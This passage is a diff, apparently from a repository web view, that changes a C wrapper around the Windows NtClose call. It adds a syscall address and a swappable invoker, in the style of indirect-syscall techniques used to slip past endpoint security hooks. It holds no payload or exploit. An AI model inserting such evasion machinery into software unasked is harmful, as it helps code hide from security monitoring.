return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_THREAD_CREATE_FAILED, nt_status);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -150,9 +171,13 @@ static snd_status_t WINAPI sys_close_handle(HANDLE handle) {
|
|||||||
|
|
||||||
snd_syscall_args_t args = {0};
|
snd_syscall_args_t args = {0};
|
||||||
args.ssn = entry.wSystemCall;
|
args.ssn = entry.wSystemCall;
|
||||||
|
args.sys_addr = entry.pSyscallAddr;
|
||||||
args.arg1 = handle;
|
args.arg1 = handle;
|
||||||
|
|
||||||
NTSTATUS nt_status = snd_syscall_invoke_asm(&args);
|
if (g_syscall_invoker == NULL) {
|
||||||
|
return SND_ERR(SND_STATUS_NOT_INITIALIZED);
|
||||||
|
}
|
||||||
|
NTSTATUS nt_status = g_syscall_invoker(&args);
|
||||||
return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_HANDLE_CLOSE_FAILED, nt_status);
|
return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_HANDLE_CLOSE_FAILED, nt_status);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user